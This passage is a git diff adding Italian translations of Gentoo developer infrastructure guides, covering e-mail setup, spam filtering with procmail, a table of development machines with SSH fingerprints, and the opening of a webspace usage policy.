+keychain ~/.ssh/id_dsa
+. .keychain/<comment>hostname</comment>-sh
+</pre>
+
+<p>
+Assicurarsi di sostituire <c>hostname</c> con il proprio hostname.
+</p>
+
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/it/infrastructure/dev-email.xml b/xml/htdocs/proj/it/infrastructure/dev-email.xml
new file mode 100644
index 00000000..78851169
--- /dev/null
+++ b/xml/htdocs/proj/it/infrastructure/dev-email.xml
@@ -0,0 +1,470 @@
+<?xml version='1.0' encoding='UTF-8'?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/it/infrastructure/dev-email.xml,v 1.7 2010/06/20 22:39:17 scen Exp $ -->
+
+<guide link="/proj/it/infrastructure/dev-email.xml" lang="it">
+<title>Sistema E-mail di Gentoo per Sviluppatori</title>
+
+<author title="Autore">
+  <mail link="swift"/>
+</author>
+<author title="Redazione">
+  <mail link="klieber"/>
+</author>
+<author title="Redazione">
+  <mail link="ramereth"/>
+</author>
+<author title="Redazione">
+  <mail link="dostrow"/>
+</author>
+<author title="Redazione">
+  <mail link="kingtaco"/>
+</author>
+<author title="Redazione">
+  <mail link="solar"/>
+</author>
+<author title="Redazione">
+     <mail link="robbat2"/>
+ </author>
+<author title="Traduzione">
+  <mail link="scen"/>
+</author>
+
+<abstract>
+Questo documento descrive cosa può fare uno sviluppatore Gentoo col sistema
+e-mail di Gentoo, e fornisce i dettagli di configurazione necessari.
+</abstract>
+
+<version>1.6</version>
+<date>2010-05-25</date>
+
+<!-- This doesn't look good, can be handy though. Commenting out
+     untill someone wants it. How's that for anticipation :)
+
+<chapter>
+<title>Content</title>
+<section>
+<title>Gentoo Developer E-mail Possibilities</title>
+<body>
+<ul>
+<li><uri link="#doc_chap2_sect1">Introduction</uri></li>
+<li><uri link="#doc_chap2_sect2">Forwarding E-mails</uri></li>
+<li><uri link="#doc_chap2_sect3">Using the mailbox on dev.gentoo.org</uri></li>
+</ul>
+</body>
+</section>
+<section>
+<title>Using dev.gentoo.org for your e-mails</title>
+<body>
+<ul>
+<li><uri link="#doc_chap3_sect1">Accessing dev.gentoo.org using POP3S</uri></li>
+<li><uri link="#doc_chap3_sect2">Accessing dev.gentoo.org using IMAPS</uri></li>
+<li><uri link="#doc_chap3_sect3">Using dev.gentoo.org as a mail relay server</uri></li>
+</ul>
+</body>
+</section>
+<section>
+<title>Frequently Asked and/or Anticipated Questions</title>
+<body>
+<ul>
+<li><uri link="#doc_chap4_sect1">What happens when dev.gentoo.org goes down?</uri></li>
+<li><uri link="#doc_chap4_sect2">Can I use procmail on dev.gentoo.org?</uri></li>
+<li><uri link="#doc_chap4_sect3">Are my e-mails or the contents of my home directory backed up regularly?</uri></li>
+</ul>
+</body>
+</section>
+</chapter>
+
+-->
+
+<chapter>
+<title>Possibilità riguardo l'Email per uno Sviluppatore Gentoo</title>
+<section>
+<title>Introduzione</title>
+<body>
+
+<p>
+Questo documento descrive le varie opzioni per controllare il proprio indirizzo
+email gentoo.org. È possibile optare per l'inoltro di tutte le e-mail ad uno
+specifico indirizzo e-mail, o lasciarle sul server dev.gentoo.org al quale sarà
+possibile connettersi con il proprio client e-mail preferito tramite POP3S o
+IMAPS (rispettivamente l'implementazione sicura di POP3 e IMAP).
+</p>
+
+</body>
+</section>
+<section>
+<title>Inoltrare le E-mail</title>
+<body>
+
+<p>
+Se si desidera che le proprie e-mail vengano inoltrare ad un altro indirizzo
+e-mail, bisogna effettuare il login su dev.gentoo.org e inserire tale indirizzo
+nel file <path>~/.forward</path>. Effettuare il login su dev.gentoo.org è simile
+a quello su cvs.gentoo.org: si dovranno usare le stesse chiavi.
+</p>
+
+<pre caption = "Inoltrare le e-mail ad un altro indirizzo e-mail">
+$ <i>ssh nomeutente@dev.gentoo.org</i>
+nomeutente@woodpecker nomeutente $ <i>echo nuovo.indirizzo@e-mail.com &gt; ~/.forward</i>
+nomeutente@woodpecker nomeutente $ <i>exit</i>
+</pre>
+
+<p>
+Se ad un certo punto si vuole cambiare l'indirizzo al quale inoltrare le e-mail,
+cambiare il contenuto del file <path>~/.forward</path> inserendo il nuovo
+indirizzo e-mail.
+</p>
+
+<note>
+Se viene utilizzato l'inoltro si prega di verificare che l'indirizzo di
+destinazione sia affidabile. Se la coda su dev.gentoo.org comincia a crescere a
+causa delle mail che tornano indietro i responsabili dell'Infrastruttura saranno
+obbligati a rimuovere l'inoltro. Tutte le e-mail verranno consegnate localmente
+fino a che il problema non verrà risolto.
+</note>
+
+</body>
+</section>
+<section>
+<title>Usare la casella di posta su dev.gentoo.org</title>
+<body>
+
+<p>
+Se si vuole usare la casella di posta su dev.gentoo.org, bisogna assicurarsi che
+non ci sia nessun file <path>.forward</path> nella propria directory home.
+Questa operazione richiede l'accesso a dev.gentoo.org (ovviamente). Accedere a
+dev.gentoo.org non è differente dall'accedere a cvs.gentoo.org: verranno usate
+le stesse chiavi.
+</p>
+
+<!-- I singoli apici sono necessari altrimenti il nome utente viene disperso
+lato client -->
+<pre caption = "Rimuovere ~/.forward">
+$ <i>ssh -l nomeutente dev.gentoo.org 'rm ~/.forward'</i>
+</pre>
+
+<p>
+Ci sono alcune cose che lo sviluppatore Gentoo deve conoscere riguardo alla
+propria casella di posta su dev.gentoo.org:
+</p>
+
+<ul>
+  <li>
+    È possibile accedervi solamente usando POP3S o IMAPS (vedere il capitolo
+    successivo).
+  </li>
+  <li>
+    Ci sono alcuni client e-mail locali installati su dev.gentoo.org
+    (<c>mutt</c> e <c>pine</c> per l'esattezza). Usarli solo se si sa come
+    usarli :)
+  </li>
+  <li>
+    La password per accedere alla casella di posta è la stessa password che è
+    possibile impostare su dev.gentoo.org usando <c>passwd</c>.
+  </li>
+</ul>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Usare dev.gentoo.org per le proprie e-mail</title>
+<section>
+<body>
+
+<note>
+A partire dal 29/06/2009, viene usato CACert come Certificate Authority per
+tutti i seguenti certificati SSL.
+</note>
+
+</body>
+</section>
+<section>
+<title>Accedere a dev.gentoo.org usando POP3S</title>
+<body>
+
+<p>
+pop3s è la variante sicura di POP3, la versione 3 del Post Office Protocol. POP3
+è un protocollo di tipo "pull", nel senso che le e-mail vengono scaricate dal
+server sul proprio disco locale.
+</p>
+
+<p>
+Per configurare il proprio client preferito per pop3s, usare le seguenti
+impostazioni:
+</p>
+
+<ul>
+  <li><e>POP3 server</e>: dev.gentoo.org</li>
+  <li><e>Usare SSL</e>: sì</li>
+  <li><e>Account</e>: proprio nome utente</li>
+  <li><e>Password</e>: propria password su dev.gentoo.org</li>
+</ul>
+
+<warn>
+POP3 senza SSL <e>non</e> è supportata! È insicuro perché trasmette la password
+in chiaro, è ciò è MALE.
+</warn>
+
+<p>
+Per esempio, se si sta utilizzando <c>fetchmail</c> per recuperare le proprie
+e-mail, il proprio file di configurazione <path>.fetchmailrc</path> dovrà essere
+simile a questo:
+</p>
+
+<pre caption="fetchmailrc">
+poll dev.gentoo.org proto pop3
+    user <i>username</i> pass <i>password</i> nokeep ssl
+sslfingerprint "4E:D2:D8:69:59:FD:7D:61:01:90:F6:79:B2:E1:57:96"
+</pre>
+
+<p>
+Se si sta utilizzando <c>sylpheed</c> per le proprie e-mail, creare un nuovo
+account ed assicurarsi che la scheda <e>Receive</e> usi POP3 e che la scheda
+<e>SSL</e> abbia la voce <e>Use SSL for POP3 connection</e> selezionata.
+</p>
+
+<p>
+Se si sta utilizzando <c>mutt</c>, si sarà abbastanza scaltri per configurare
+autonomamente il proprio account.
+</p>
+
+<pre caption="fingerprint POP3 SSL di dev.gentoo.org">
+MD5  = 4E:D2:D8:69:59:FD:7D:61:01:90:F6:79:B2:E1:57:96
+SHA1 = 98:2D:D6:9F:4F:BD:9D:03:70:B3:96:4A:84:A6:F6:5A:89:69:F1:02
+</pre>
+
+</body>
+</section>
+<section>
+<title>Accedere a dev.gentoo.org usando IMAPS</title>
+<body>
+
+<p>
+IMAPS è la variante sicura di IMAP, acronimo di Internet Message Access Protocol
+(Protocollo di Accesso ai Messaggi via Internet, ndt) versione 4. IMAP è un
+protocollo di tipo "push", nel senso che le e-mail rimangono sul server remoto
+nel quale si possono anche gestire caselle di posta separate.
+</p>
+
+<p>
+Per configurare il proprio client e-mail preferito per IMAPS, usare le seguenti
+impostazioni:
+</p>
+
+<ul>
+  <li><e>IMAP server</e>: dev.gentoo.org</li>
+  <li><e>Usare SSL</e>: yes</li>
+  <li><e>Account</e>: proprio nome utente</li>
+  <li><e>Password</e>: propria password su dev.gentoo.org</li>
+</ul>
+
+<warn>
+IMAP senza SSL <e>non</e> è supportato! È insicuro perché usa un'autenticazione
+statica, è ciò è MALE.
+</warn>
+
+<note>
+La propria password LDAP *.gentoo.org è la stessa che si utilizza in tutte le
+parti dell'infrastruttura gentoo alla quale si ha accesso. Se la password è
+stata dimenticata, chiedere al team dell'infrastruttura di resettarla.
+</note>
+
+<p>
+Per esempio, se si sta utilizzando <c>fetchmail</c> per recuperare le proprie
+e-mail, il proprio file di configurazione <path>.fetchmailrc</path> dovrà
+essere simile a questo:
+</p>
+
+<pre caption = "fetchmailrc">
+poll dev.gentoo.org proto imap
+    user <i>username</i> pass <i>password</i> nokeep ssl
+sslfingerprint "BA:B9:34:21:EB:B1:63:69:BB:B0:7F:4A:50:60:12:4F"
+</pre>
+
+<p>
+Se si sta utilizzando <c>mutt</c>, si sarà abbastanza scaltri per configurare
+autonomamente il proprio account.
+</p>
+
+<pre caption="fingerprint IMAP SSL di dev.gentoo.org">
+MD5  = BA:B9:34:21:EB:B1:63:69:BB:B0:7F:4A:50:60:12:4F
+SHA1 = 91:57:06:37:61:1D:12:DD:8B:EE:31:C2:0B:EB:38:FE:10:1D:F1:B0
+</pre>
+
+</body>
+</section>
+<section>
+<title>Usare dev.gentoo.org come mailserver di trasmissione (relay)</title>
+<body>
+
+<p>
+Se si vuole ridurre il punteggio spam SRF rispetto alle proprie email, e non si
+vuole usare il relay del proprio ISP, è possibile trasmettere le proprie e-mail
+attraverso dev.gentoo.org.
+</p>
+
+<note>
+Per gli sviluppatori impossibilitati ad usare la porta 25 per spedire le e-mail,
+dev.gentoo.org accetta anche le connessioni SMTP in entrata sulla porta TCP 587.
+</note>
+
+<p>
+A questo punto configurare il proprio client e-mail in modo da usare
+dev.gentoo.org come server SMTP. Selezionare <e>sì</e> quando viene chiesto se
+il server usa l'autenticazione. Abilitare inoltre <e>STARTTLS</e>. Se si ottiene
+questa scelta, selezionare <e>plain</e> ("in chiaro", ndt) come metodo di hash.
+Usare il proprio nome utente e la propria password LDAP per l'autenticazione. Il
+certificato è inoltre contrassegnato da CACert a partire da 2010/05/25.
+</p>
+
+<pre caption="dev.gentoo.org SMTP SSL fingerprints">
+MD5  = 77:F5:26:D5:E9:DD:E0:38:67:D3:E0:F7:97:17:51:D8
+SHA1 = 07:82:26:A7:F7:AE:C1:CC:BD:CD:F4:2D:91:D5:FC:73:D5:16:88:14
+</pre>
+
+</body>
+</section>
+<section>
+<title>Configurare le regole di procmail per controllare lo Spam</title>
+<body>
+
+<p>
+Tutte le email che arrivano in dev.gentoo.org vengono esaminate per individuare
+spam e virus. I virus vengono automaticamente cancellati pertanto non c'è
+bisogno di controllare da sé. Per controllare lo spam usare un metodo simile
+alla seguente ricetta di procmail.
+</p>
+
+<pre caption = "~/.procmailrc">
+ :0:
+ * ^X-Spam-Status: Yes
+ .maildir/.spam/
+</pre>
+
+<p>
+Se si desidera controllare il proprio spam basandosi sul suo livello può essere
+usata una ricetta come quella seguente (adeguare il numero di '\*' al livello
+che soddisfa le vostre esigenze, più asterischi ci sono maggiore è la
+possibilità che quello che si sta filtrando sia spam).
+</p>
+
+<pre caption = "~/.procmailrc">
+ :0:
+ * ^X-Spam-Level: \*\*\*
+ .maildir/.spam/
+</pre>
+
+<note>
+Le mail residenti in ~/.maildir/.spam vengono eliminate automaticamente ogni 14
+giorni. Se si desidera salvare il proprio spam potenziale per un periodo di
+tempo esteso si prega di posizionarlo in un'altra directory. L'uso di
+~/.maildir/.spam è fortemente incoraggiato.
+</note>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Domande Poste Frequentemente e/o Anticipate</title>
+<section>
+<title>Cosa succede se dev.gentoo.org va fuori servizio?</title>
+<body>
+
+<p>
+Quando dev.gentoo.org va fuori servizio, le e-mail rimarranno nella coda dei
+messaggi su mail.gentoo.org e verranno recapitate una volta che dev.gentoo.org
+tornerà di nuovo in funzione.
+</p>
+
+</body>
+</section>
+<section>
+<title>Posso usare procmail su dev.gentoo.org?</title>
+<body>
+
+<p>
+Sì, è possibile. Bisogna creare un file <path>~/.forward</path> avente il
+seguente contenuto:
+</p>
+
+<pre caption="~/.forward per l'utilizzo di procmail">
+| /usr/bin/procmail
+</pre>
+
+</body>
+</section>
+<section>
+<title>Posso usare SpamAssassin su dev.gentoo.org?</title>
+<body>
+
+<p>
+Lo Spam viene marcato automaticamente per ogni sviluppatore. Non c'è bisogno di
+far passare i propri messaggi attraverso filtri addizionali, basta esaminare le
+intestazioni appropriate.
+</p>
+
+</body>
+</section>
+<section>
+<title>Perché non predisponete un filtro (spam|virus) globale per il
+sistema?</title>
+<body>
+
+<p>
+A causa della rapida diffusione di innumerevoli e-mail contenenti virus c'è
+stata la necessità di filtrarle tutte malgrado il rischio di perdere e-mail
+legittime. Il filtraggio dello spam non è accurato al 100% pertanto, sebbene
+tutte le e-mail vengano etichettate con delle intestazioni contenenti il livello
+di Spam, esse non vengono filtrate. Tale opzione viene demandata agli
+sviluppatori, che possono effettuarla a loro completa discrezione.
+</p>
+
+</body>
+</section>
+<section>
+<title>Come posso esonerarmi dalla Verifica dell'Indirizzo Mittente (Sender
+Address Verification)?</title>
+<body>
+
+<p>
+Come impostazione predefinita tutti gli utenti @gentoo.org hanno abilitato
+gratuitamente, per il proprio account, il Sender Address Verification ("Verifica
+dell'Indirizzo Mittente", ndt). Si riconosce che ci sono volte in cui questa
+scelta sia poco opportuna e porti ad autoescludersi dal sistema. Basta eseguire
+un semplice <c>touch ~/.permissive</c> e aspettare all'incirca un'ora perché
+venga ricontrollato recipient_filtering. Notare, tuttavia, che nel momento in
+cui si sceglie la modalità permissiva non verranno più eseguiti i filtri
+antispam ed antivirus per il proprio account.
+</p>
+
+</body>
+</section>
+<section>
+<title>Vengono effettuate regolarmente copie di sicurezza delle mie e-mail o dei
+contenuti della mia directory home?</title>
+<body>
+
+<p>
+No, ognuno ha la responsabilità di effettuare le copie di sicurezza dei propri
+file importanti e messaggi di posta elettronica.
+</p>
+
+</body>
+</section>
+<section>
+<title>Come posso copiare i file da/su dev.gentoo.org?</title>
+<body>
+
+<p>
+Usare <c>scp</c>.
+</p>
+
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/it/infrastructure/dev-machines.xml b/xml/htdocs/proj/it/infrastructure/dev-machines.xml
new file mode 100644
index 00000000..1379541b
--- /dev/null
+++ b/xml/htdocs/proj/it/infrastructure/dev-machines.xml
@@ -0,0 +1,338 @@
+<?xml version='1.0' encoding='UTF-8'?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/it/infrastructure/dev-machines.xml,v 1.11 2010/06/20 21:23:24 scen Exp $ -->
+
+<guide link="/proj/it/infrastructure/dev-machines.xml" lang="it">
+<title>Macchine di Sviluppo/Test di Gentoo</title>
+
+<author title="Autore">
+    <mail link="vapier@gentoo.org">Mike Frysinger</mail>
+</author>
+<author title="Redazione">
+    <mail link="klieber@gentoo.org">Kurt Lieber</mail>
+</author>
+<author title="Traduzione">
+    <mail link="magowiz@gmail.com">Marcello Magaldi</mail>
+</author>
+
+<abstract>
+Questo documento descrive i computer a disposizione degli sviluppatori Gentoo
+per specifici scopi di sviluppo.
+</abstract>
+
+<version>1.9</version>
+<date>2008-10-12</date>
+
+<chapter>
+<title>Host degli Sviluppatori Gentoo</title>
+<section>
+<title>Introduzione</title>
+<body>
+<p>
+Questo documento descrive i computer a disposizione degli sviluppatori Gentoo
+per specifici motivi di sviluppo di Gentoo. Molto spesso, questo è semplicemente
+un modo per avere accesso a differenti architetture o macchine più veloci per la
+compilazione. Molti host sono forniti dagli stessi sviluppatori e quindi
+mantenuti da loro stessi. Questa pagina esiste solo per aiutare a localizzare
+gli amministratori di macchine specifiche in modo da ottenervi l'accesso. La
+specifica implementazione è lasciata al mantenitore (il possessore in molti
+casi).
+</p>
+</body>
+</section>
+
+<section>
+<title>Box di Sviluppo</title>
+<body>
+
+<table>
+ <tr>
+  <th>Architettura</th>
+  <th>DNS</th>
+  <th>Contatto</th>
+  <th>CPU</th>
+  <th>RAM</th>
+  <th>Varie</th>
+ </tr>
+
+ <tr>
+  <ti>alpha</ti>
+  <ti><uri
+    link="http://dev.gentoo.org/~klausman/monolith.jpg">
+    monolith.freenet-rz.de</uri>
+    </ti>
+  <ti>
+    <uri link="mailto:klausman-spam@schwarzvogel.de">Tobias Klausmann</uri>
+  </ti>
+  <ti>4xEV67 833MHz</ti>
+  <ti>8G</ti>
+  <ti>AlphaServer ES40 con 6x18GB HD</ti>
+ </tr>
+
+ <tr>
+  <ti>amd64</ti>
+  <ti>pitr.amd64.dev.gentoo.org</ti>
+  <ti><uri link="mailto:pitr-admins@gentoo.org">Mike Doty</uri></ti>
+  <ti>2xOpteron 842 ~1.6GHz</ti>
+  <ti>2.0G</ti>
+  <ti>
+    Donata da <uri link="http://amd.com/">AMD</uri>, Fondazione Gentoo, e
+    Gentoo/AMD64
+  </ti>
+ </tr>
+
+ <tr>
+  <ti>amd64</ti>
+  <ti>dustpuppy.amd64.dev.gentoo.org</ti>
+  <ti><uri link="mailto:pitr-admins@gentoo.org">Mike Doty</uri></ti>
+  <ti>2xOpteron 842 ~1.6GHz</ti>
+  <ti>1.0G</ti>
+  <ti>
+    Donata da <uri link="http://amd.com/">AMD</uri>, Fondazione Gentoo, e
+    Gentoo/AMD64
+  </ti>
+ </tr>
+
+ <tr>
+  <ti>amd64</ti>
+  <ti>miranda.amd64.dev.gentoo.org</ti>
+  <ti><uri link="mailto:pitr-admins@gentoo.org">Mike Doty</uri></ti>
+  <ti>Dual Dual Core AMD Opteron(tm) Processor 280</ti>
+  <ti>16G</ti>
+  <ti>
+    2 x 72GB U320 SCSI; Donata da <uri link="http://gni.com/">GNi</uri>, Global
+    Netoptex, Inc.
+  </ti>
+ </tr>
+
+ <tr>
+  <ti>arm</ti>
+  <ti>
+    <uri
+    link="http://gentoo.org/~vapier/pics/arm-netwinder/">
+    coral.arm.dev.gentoo.org</uri>
+  </ti>
+  <ti><uri link="mailto:vapier@gentoo.org">Mike Frysinger</uri></ti>
+  <ti>StrongARM110 ~275MHz</ti>
+  <ti>128M</ti>
+  <ti>Netwinder w/40G HD</ti>
+ </tr>
+
+<tr>
+  <ti>arm</ti>
+  <ti>mv78100.arm.dev.gentoo.org</ti>
+  <ti><uri link="mailto:robbat2@gentoo.org">Robin H. Johnson</uri></ti>
+  <ti>Feroceon MV78100-A1 @ 1Ghz</ti>
+  <ti>4G (3G usabili)</ti>
+  <ti>
+    Marvell DB-78100-BP-A1 w/ 160G HD; Donata da <uri
+    link="http://marvell.com/">Marvell</uri>; accessibile solamente tramite IPv6
+  </ti>
+ </tr>
+
+ <tr>
+  <ti>hppa</ti>
+  <ti>
+    <uri
+    link="http://gentoo.org/~vapier/pics/hppa-c3600/">
+    hake.hppa.dev.gentoo.org</uri>
+  </ti>
+  <ti><uri link="mailto:vapier@gentoo.org">Mike Frysinger</uri></ti>
+  <ti>PA8600 552MHz</ti>
+  <ti>3G</ti>
+  <ti>C3600 w/50G HD</ti>
+ </tr>
+
+ <tr>
+  <ti>ia64</ti>
+  <ti>beluga.ia64.dev.gentoo.org</ti>
+  <ti><uri link="mailto:kloeri@gentoo.org">Bryan Østergaard</uri></ti>
+  <ti>2 x Itanium 2 1.6GHz</ti>
+  <ti>12G</ti>
+  <ti>
+    Supportata da <uri link="http://hp.com/">HP</uri>! Questa macchina è intesa
+    più per persone che facciano serio sviluppo su IA64; i test generici di
+    architettura dovrebbero essere svolti su dolphin.
+  </ti>
+ </tr>
+
+ <tr>
+  <ti>ia64</ti>
+  <ti>dolphin.ia64.dev.gentoo.org</ti>
+  <ti><uri link="mailto:kloeri@gentoo.org">Bryan Østergaard</uri></ti>
+  <ti>2 x Itanium 2 900MHz</ti>
+  <ti>6G</ti>
+  <ti>Supportata da <uri link="http://hp.com/">HP</uri>!</ti>
+ </tr>
+
+ <tr>
+  <ti>ia64</ti>
+  <ti>guppy.ia64.dev.gentoo.org</ti>
+  <ti><uri link="mailto:halcy0n@gentoo.org">Mark Loeser</uri></ti>
+  <ti>2 x Itanium 2 dual core 1.6GHz</ti>
+  <ti>16G</ti>
+  <ti>
+    HP Integrity rx3600; Supportato da <uri link="http://hp.com/">HP</uri>!
+    Questa macchina è pensata per persone che fanno un intensivo sviluppo su
+    IA64; testing generale di architettura andrebbe fatto su dolphin.
+  </ti>
+ </tr>
+
+ <tr>
+  <ti>mipsel</ti>
+  <ti>
+    <uri
+    link="http://gentoo.org/~vapier/pics/mipsel-raq2/">
+    raq2.mips.dev.gentoo.org</uri>
+  </ti>
+  <ti><uri link="mailto:vapier@gentoo.org">Mike Frysinger</uri></ti>
+  <ti>QED RM5231 250MHz</ti>
+  <ti>256M</ti>
+  <ti>
+    Raq2 Cobalt w/60G HD; le richieste devono includere una menzione da parte di
+    uno sviluppatore MIPS esperto
+  </ti>
+ </tr>
+
+ <tr>
+  <ti>mipsel</ti>
+  <ti>taijia (202.47.55.78:2207)</ti>
+  <ti><uri link="mailto:redhatter@gentoo.org">Stuart Longland</uri></ti>
+  <ti>660MHz Loongson 2E</ti>
+  <ti>512MB DDR1</ti>
+  <ti>
+    40G HD; le richieste devono includere una menzione da parte di uno
+    sviluppatore MIPS esperto
+  </ti>
+ </tr>
+ <tr>
+  <ti>s390</ti>
+  <ti>gentoo01.zseries.org</ti>
+  <ti><uri link="mailto:vapier@gentoo.org">Mike Frysinger</uri></ti>
+  <ti>5 x IBM/S390</ti>
+  <ti>512 MB</ti>
+  <ti>12 GB; Sistema stabile per compilare/testare pacchetti s390</ti>
+ </tr>
+ <tr>
+  <ti>s390</ti>
+  <ti>gentoo02.zseries.org</ti>
+  <ti><uri link="mailto:vapier@gentoo.org">Mike Frysinger</uri></ti>
+  <ti>5 x IBM/S390</ti>
+  <ti>512 MB</ti>
+  <ti>12 GB; Sistema per compilare gli stage s390</ti>
+ </tr>
+ <tr>
+  <ti>s390x</ti>
+  <ti>gentoo03.zseries.org</ti>
+  <ti><uri link="mailto:vapier@gentoo.org">Mike Frysinger</uri></ti>
+  <ti>5 x IBM/S390x</ti>
+  <ti>512 MB</ti>
+  <ti>12 GB; Sistema stabile per compilare/testare pacchetti s390x</ti>
+ </tr>
+ <tr>
+  <ti>s390x</ti>
+  <ti>gentoo04.zseries.org</ti>
+  <ti><uri link="mailto:vapier@gentoo.org">Mike Frysinger</uri></ti>
+  <ti>5 x IBM/S390x</ti>
+  <ti>512 MB</ti>
+  <ti>12 GB; Sistema per compilare gli stage s390x</ti>
+ </tr>
+ <tr>
+  <ti>sh</ti>
+  <ti>
+    <uri
+    link="http://gentoo.org/~vapier/pics/sh4-lantank/">
+    lantank.sh.dev.gentoo.org</uri>
+  </ti>
+  <ti><uri link="mailto:vapier@gentoo.org">Mike Frysinger</uri></ti>
+  <ti>SuperH4 266MHz</ti>
+  <ti>64M</ti>
+  <ti>LanTANK SH4 (SH7751R) w/200G HD</ti>
+ </tr>
+
+ <tr>
+  <ti>sparc</ti>
+  <ti>bender.sparc.dev.gentoo.org</ti>
+  <ti><uri link="mailto:gustavoz@gentoo.org">Gustavo Zacarias</uri></ti>
+  <ti>8-core UltraSPARC T1 @ 1.2 Ghz</ti>
+  <ti>32G</ti>
+  <ti>Donata da <uri link="http://www.sun.com/">Sun Microsystems</uri></ti>
+ </tr>
+</table>
+
+<note>
+Se si vuole che la propria macchina venga aggiunta/aggiornata in questa lista,
+contattare <uri link="mailto:vapier@gentoo.org">Mike Frysinger</uri> :).
+</note>
+
+<table>
+<tr>
+  <th>Host</th>
+  <th>Chiavi SSH</th>
+</tr>
+<tr>
+  <ti>pitr.amd64</ti>
+  <ti>c4:35:fe:b4:72:32:6f:a0:ea:80:5d:cf:6f:25:50:6d</ti>
+</tr>
+<tr>
+  <ti>miranda.amd64</ti>
+  <ti>91:da:2c:15:49:77:a7:d7:20:b0:25:53:24:a2:ec:36</ti>
+</tr>
+<tr>
+  <ti>coral.arm</ti>
+  <ti>45:6d:f7:38:83:a2:ca:87:35:95:77:11:ea:cc:5e:cc</ti>
+</tr>
+<tr>
+  <ti>mv78100.arm</ti>
+  <ti>
+    RSA 1b:43:1d:c2:e8:b8:9a:14:61:c8:5c:b9:d7:4e:84:7d
+    DSA af:25:b1:e4:ed:e6:8d:03:fd:51:bd:4f:1c:65:d2:0e
+  </ti>
+ </tr>
+<tr>
+  <ti>hake.hppa</ti>
+  <ti>5a:6a:ba:14:e2:a3:0c:4a:2e:6b:63:0d:f2:db:1b:3f</ti>
+</tr>
+<tr>
+  <ti>beluga.ia64</ti>
+  <ti>1e:a1:ea:04:c5:87:4c:7b:75:80:04:d5:47:94:3a:45</ti>
+</tr>
+<tr>
+  <ti>dolphin.ia64</ti>
+  <ti>c8:fe:4f:1e:48:48:46:5a:40:7e:96:6c:a4:73:aa:50</ti>
+</tr>
+<tr>
+  <ti>raq2.mips</ti>
+  <ti>f6:0c:4e:b9:5b:cb:e5:0e:bf:b8:67:5c:be:5d:94:d7</ti>
+</tr>
+<tr>
+  <ti>gentoo01.s390</ti>
+  <ti>c1:f9:c8:d6:78:4d:12:2f:01:76:e9:7f:85:4b:2c:68</ti>
+</tr>
+<tr>
+  <ti>gentoo02.s390</ti>
+  <ti>ca:f8:3b:fb:54:68:23:c7:7f:6f:21:8f:c3:10:b2:52</ti>
+</tr>
+<tr>
+  <ti>gentoo03.s390x</ti>
+  <ti>9b:d2:6b:62:0f:a8:6d:09:b4:a1:bf:61:8c:26:bb:fe</ti>
+</tr>
+<tr>
+  <ti>gentoo04.s390x</ti>
+  <ti>dc:34:1e:49:b8:7d:e9:19:68:f6:a6:e2:e9:2f:48:85</ti>
+</tr>
+<tr>
+  <ti>lantank.sh</ti>
+  <ti>22:fd:a1:94:a0:f8:82:ee:3f:25:19:95:13:5e:ce:b8</ti>
+</tr>
+<tr>
+<ti>bender.sparc</ti>
+<ti>bc:9a:a7:51:4f:76:c7:c8:1b:ed:37:6a:38:23:e9:3f</ti>
+</tr>
+</table>
+
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/it/infrastructure/dev-webspace.xml b/xml/htdocs/proj/it/infrastructure/dev-webspace.xml
new file mode 100644
index 00000000..236672f4
--- /dev/null
+++ b/xml/htdocs/proj/it/infrastructure/dev-webspace.xml
@@ -0,0 +1,156 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/it/infrastructure/dev-webspace.xml,v 1.3 2010/06/20 21:34:04 scen Exp $ -->
+
+<guide lang="it">
+<title>Configurazione dello spazio web su dev.gentoo.org</title>
+
+<author title="Autore">
+  <mail link="jforman@gentoo.org">Jeffrey Forman</mail>
+</author>
+<author title="Autore">
+  <mail link="curtis119@gentoo.org">Curtis Napier</mail>
+</author>
+<author title="Traduzione">
+  <mail link="nsr2@tiscali.it">Paolo Palana</mail>
+</author>
+
+
+<abstract>
+Questa guida documenta come uno sviluppatore Gentoo possa configurare il proprio
+spazio web sul cluster per gli sviluppatori di Gentoo.
+</abstract>
+
+<version>1.6</version>
+<date>2010-04-28</date>
+
+<chapter>
+<title>Spazio web per gli sviluppatori</title>
+<section>
+<title>Utilizzo e Politiche</title>
+<body>
+
+<p>
+All'interno del proprio spazio di sviluppo su dev.gentoo.org è possibile creare
+una directory <path>public_html</path> accessibile dall'indirizzo
+<path>http://dev.gentoo.org/~username</path>. In questo spazio è possibile
+pubblicare qualsiasi file correlato con Gentoo, come ad esempio documentazione
+dei progetti, ebuild/pacchetti di cui si sta effettuando il testing, ecc....
+Si prega di ricordare che su questo spazio non devono essere pubblicati
+distfile con lo scopo di diffonderli al pubblico, ma piuttosto ci si deve
+limitare alla sola distribuzione verso altri sviluppatori/tester. I pacchetti
+destinati ad essere pubblicati devono essere collocati sui mirror destinati ai
+distfile.
+</p>
+
+<p>
+Lo spazio di sviluppo messo a disposizione è destinato ai file correlati con
+Gentoo. Non è consentito mantenere file relativi ai propri affari privati,
+materiale pornografico o qualsiasi altro file considerato illegale negli Stati
+Uniti (i server sono infatti collocati in questo paese). Le pagine presenti
+nella propria directory public_html sono visibili a tutti e il loro contenuto
+deve seguire le medesime regole. Non è consentito utilizzare il proprio spazio
+di sviluppo per condurre affari a scopi di lucro, questo include lo scambio di
+banner, aste (o il mantenere immagini per le proprie aste) e l'inserimento di
+gadget ads di Google.
+</p>
+
+<p>
+Se un qualsiasi file ospitato nel proprio spazio è ritenuto dannoso per altri
+sviluppatori o utenti, oppure per il progetto Gentoo (come ad esempio torrent
+illegali, pornografia, ecc....), il personale del progetto Infrastruttura di
+Gentoo sospenderà l'account sospetto che sarà sbloccato solo dopo un'indagine
+svolta dal personale Gentoo per le relazioni con gli sviluppatori (Gentoo
